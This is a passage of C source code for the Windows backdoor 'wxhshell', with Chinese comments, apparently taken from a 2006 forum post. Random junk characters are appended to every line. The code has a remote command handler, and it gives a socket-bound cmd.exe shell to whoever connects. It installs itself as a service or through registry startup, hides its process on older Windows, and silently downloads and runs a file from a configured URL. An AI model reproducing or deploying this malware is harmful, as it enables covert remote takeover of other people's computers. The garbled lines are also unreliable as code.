    switch(cmd[0]) { zx=eqN@!@  
  F)Q[ cai  
  // 帮助 !]g[u3O  
  case '?': { U+B"$yBR  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !wpK +.D  
    break; yLfyLyO L  
  } E Zf|>^N  
  // 安装 ej kUNCKQt  
  case 'i': { /ZabY  
    if(Install()) > TCit1yD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G`0{31us  
    else rCA!b"C2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E.NfVeq  
    break; RxJbQs$Ph  
    } [9Rh"H;h  
  // 卸载 JJWP te/  
  case 'r': { r`6f  
    if(Uninstall()) NdLe|L?c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R"O%##Ws  
    else ]f &]E ~i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K3 BWj33  
    break; %pOz%v~  
    } SWI\;:k  
  // 显示 wxhshell 所在路径 dazML|1ow  
  case 'p': {  gvo98Id  
    char svExeFile[MAX_PATH]; NR_3nt^h  
    strcpy(svExeFile,"\n\r"); GiuE\J9i  
      strcat(svExeFile,ExeFile); `V V >AA5  
        send(wsh,svExeFile,strlen(svExeFile),0); iz/CC V L  
    break; |&Mo Qxw@  
    } TK' 5NM+4  
  // 重启 ll$mRC  
  case 'b': { uuFQTx))  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WeH_1$n5  
    if(Boot(REBOOT)) <>n|_6'$90  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 44P [P{y  
    else { n5A|Zjk;  
    closesocket(wsh); oowofi(E  
    ExitThread(0); {%>~ ]9E  
    } gE@Pb  
    break; Y]`=cR`/"  
    } XZ@+aG_%q  
  // 关机 _(' @'r  
  case 'd': { 3Q62H+MC  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B\rY\  
    if(Boot(SHUTDOWN)) PZV>A!7C8n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '\8YH+%It  
    else { [Ca''JqrA  
    closesocket(wsh); I$+=Fb'N0  
    ExitThread(0); DIQ30(MS  
    } DU"Gz!X]Jd  
    break; k&t.(r\  
    } x2)WiO/As  
  // 获取shell <#M1I!R  
  case 's': { Y&=DjKoVh  
    CmdShell(wsh); a9NuYYr,h  
    closesocket(wsh); ^znUf4N1  
    ExitThread(0); jmq^98jB  
    break; &glh >9:G  
  } $X)|`$#pL#  
  // 退出 b1IAp>*2l  
  case 'x': { ]JGq{I>%+6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m)<+?Bv y  
    CloseIt(wsh); ~s'}_5;VY  
    break; aDX&j2/  
    } dPpQCx f  
  // 离开 ?F[_5ls|]  
  case 'q': { 6%6dzZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X!z-J>  
    closesocket(wsh); ~1*37w~  
    WSACleanup(); |*zgX]-+;  
    exit(1); HX| p4-L  
    break; r]\[G6mE%  
        } JiXE{(  
  } -;"A\2_y  
  } Y+23 jlgb  
$RI$VyAjD  
  // 提示信息 _ti^i\8~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X}3?k<m  
} v:74iB$i/C  
  } RLQ*&[A}  
s1Wn.OGR4  
  return; 6 A]a@,PC  
} Sb2_&5  
T^7}Qs9  
// shell模块句柄 'Bt!X^  
int CmdShell(SOCKET sock) Gy["_;+xU  
{ SFuSM/Pf  
STARTUPINFO si; Ei]Sks V>*  
ZeroMemory(&si,sizeof(si)); (Lz|o!>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q-R?y+| x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Oz(=%oS  
PROCESS_INFORMATION ProcessInfo; o+}1M  
char cmdline[]="cmd"; X~o;jJC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'NjeF&#6  
  return 0; &DYC3*)Jih  
} ~0-)S@  
pl,XS6mB  
// 自身启动模式 ckP AH E@  
int StartFromService(void) @Q ~; @M  
{ yG~Vvpv  
typedef struct 7W4m&+  
{ M9Sj@ww  
  DWORD ExitStatus; 8#A4B2  
  DWORD PebBaseAddress; X_ Lt{mf  
  DWORD AffinityMask; d<OdQvW.  
  DWORD BasePriority; qu $FpOJ  
  ULONG UniqueProcessId; aG =6(ec.  
  ULONG InheritedFromUniqueProcessId; "Zn nb*pOM  
}   PROCESS_BASIC_INFORMATION; h|'|n/F  
_M7|:*  
PROCNTQSIP NtQueryInformationProcess; M"K$.m@t  
Xu#?Lw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |)jR|8MAE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ircL/:  
@Bkg<  
  HANDLE             hProcess; RlvvO  
  PROCESS_BASIC_INFORMATION pbi; T&S=/cRBK}  
^e]O >CJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e9:pS WA-n  
  if(NULL == hInst ) return 0; Q8l vwip  
PW"?* ~&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?@MY+r_G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tJtp1$h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZK2&l8  
Fpn'0&~-fi  
  if (!NtQueryInformationProcess) return 0; J]S6%omp>  
A`(Cuw-o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6yYd~|T.Fl  
  if(!hProcess) return 0; Jk|DWZ  
o(v7&m;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4UW)XLu6T7  
6=Q6J  
  CloseHandle(hProcess); !]mo.zDSW5  
Q9p2.!/C1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kMEXgzl  
if(hProcess==NULL) return 0; 4V]xVma  
5?(dI9A"K  
HMODULE hMod; i,Jz 7OX  
char procName[255]; (A}c22qe  
unsigned long cbNeeded; I-J%yutB  
EX W?)_pg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ty!V)i  
0$y HO2 f  
  CloseHandle(hProcess); Ae^4  
>U4bK^/Bp  
if(strstr(procName,"services")) return 1; // 以服务启动 P$ b5o  
fyx Q{J  
  return 0; // 注册表启动 W S9:*YH  
} i8EKzW  
w}07u5  
// 主模块 ~_ovQ4@  
int StartWxhshell(LPSTR lpCmdLine) }p)a 7xn}  
{ yVPFH~1@\  
  SOCKET wsl; Bv*VNfUm  
BOOL val=TRUE; w+\RSqz/  
  int port=0; v33[Rk'  
  struct sockaddr_in door; X^m @*,[s  
V0#E7u`4  
  if(wscfg.ws_autoins) Install(); 'rfs rZ?  
BTA2['  
port=atoi(lpCmdLine); .OW5R*  
%.uN|o&n  
if(port<=0) port=wscfg.ws_port; 1T,Bd!g  
%>O}bdSf  
  WSADATA data; Xpkj44cd@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [>j.x2=  
bgInIe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ia^/^>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %hBw)3;l  
  door.sin_family = AF_INET; %$_?%X0=t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vKkvB;F41  
  door.sin_port = htons(port); $x+ P)5)  
&XhxkN$8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0q1+5  
closesocket(wsl); bhZ5-wo4%  
return 1; |NjyO>@Pa  
} wlP% U  
e6T?2`5P  
  if(listen(wsl,2) == INVALID_SOCKET) { =7 -k D3  
closesocket(wsl); H3JDA^5  
return 1; Ut2x4$9  
} QYBLU7  
  Wxhshell(wsl); zFwO(  
  WSACleanup(); eo"XHP7ja  
&Fmen;(  
return 0; ')fIa2dO/  
dsK ^-e6:5  
} pG/g  
$VxuaOTyVZ  
// 以NT服务方式启动 aJ]t1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^#7&R"  
{ ~~ty9;KYL  
DWORD   status = 0; ^M1O)   
  DWORD   specificError = 0xfffffff; xkaed  
7tY~8gQel  
  serviceStatus.dwServiceType     = SERVICE_WIN32; itO1ROmu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <%`z:G3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P[ Vf$ q<  
  serviceStatus.dwWin32ExitCode     = 0; 7 :u+-U  
  serviceStatus.dwServiceSpecificExitCode = 0; yN}<l%  
  serviceStatus.dwCheckPoint       = 0; Z>'hNj)ju  
  serviceStatus.dwWaitHint       = 0; MB.LHIo  
MY&?*pV)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V5I xZn%  
  if (hServiceStatusHandle==0) return; iW? NxP  
JQ\o[t  
status = GetLastError(); 3ZYrNul"  
  if (status!=NO_ERROR) rV I-Yb  
{ m{6 *ae  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :\1vy5 _  
    serviceStatus.dwCheckPoint       = 0; W5 RZsS]  
    serviceStatus.dwWaitHint       = 0; -dUXd<=ue  
    serviceStatus.dwWin32ExitCode     = status; }-WuHh#  
    serviceStatus.dwServiceSpecificExitCode = specificError; wmX *n'l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pv8AWQQJ  
    return; 3\P/4GK)  
  } ~^eC?F(  
fhQ N;7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C2 !F   
  serviceStatus.dwCheckPoint       = 0; V4%7Xj  
  serviceStatus.dwWaitHint       = 0; 4-xg+*()  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cz4l  
} M""X_~&I"  
79M` ?xm  
// 处理NT服务事件,比如:启动、停止 D_I_=0qNd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LS1}j WU!  
{ 4+0:(=>[%  
switch(fdwControl) B|BJkY'  
{ W4AFa>h  
case SERVICE_CONTROL_STOP: G9> 0w)r  
  serviceStatus.dwWin32ExitCode = 0; `XbV*{7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C5#$NV99p  
  serviceStatus.dwCheckPoint   = 0; :Us NiR=l  
  serviceStatus.dwWaitHint     = 0; 8DlRD$_:&  
  { of.=n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }j#c#''i  
  } qIgb;=V  
  return; UrB {jS?  
case SERVICE_CONTROL_PAUSE: 5CM]-qbf@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t*!Q9GC_  
  break; X]%n#\t,]  
case SERVICE_CONTROL_CONTINUE: %|?PG i@5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X57\sggK  
  break; :B4X/  
case SERVICE_CONTROL_INTERROGATE: |Iq\ZX%q  
  break; ]3yaIlpD1  
}; >K;C?gHo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @1 )][r-7  
} :U#4H;kk~j  
).>O6A4:C  
// 标准应用程序主函数 ,N5-(W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N7qSbiRf<  
{ U_Va'7  
E.rfS$<1  
// 获取操作系统版本 ob>2SU[Y  
OsIsNt=GetOsVer();  jQ?6I1o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I=yy I  
z4c{W~}`  
  // 从命令行安装 nrI-F,1  
  if(strpbrk(lpCmdLine,"iI")) Install(); vC!}%sxVw_  
'd=B{7k@  
  // 下载执行文件 rc]`PV  
if(wscfg.ws_downexe) { '${xZrzmt  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D& #ph%U,P  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^T/d34A;SP  
} k:kx=K5=4  
^0&   
if(!OsIsNt) { <al/>7z' O  
// 如果时win9x,隐藏进程并且设置为注册表启动 9mH/xP:y  
HideProc(); \P0>TWE  
StartWxhshell(lpCmdLine); M&K'5G)7  
} ,Tc598D  
else dJd(m&.|N  
  if(StartFromService()) Q68q76  
  // 以服务方式启动 !XS ;&s7[*  
  StartServiceCtrlDispatcher(DispatchTable); go$zi5{h#  
else `+Ojh>"*z*  
  // 普通方式启动 AE 2>smp5@  
  StartWxhshell(lpCmdLine); a-7T   
*J] }bX  
return 0; '\.fG\xD  
}
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只看该作者 1 发表于: 2006-10-10
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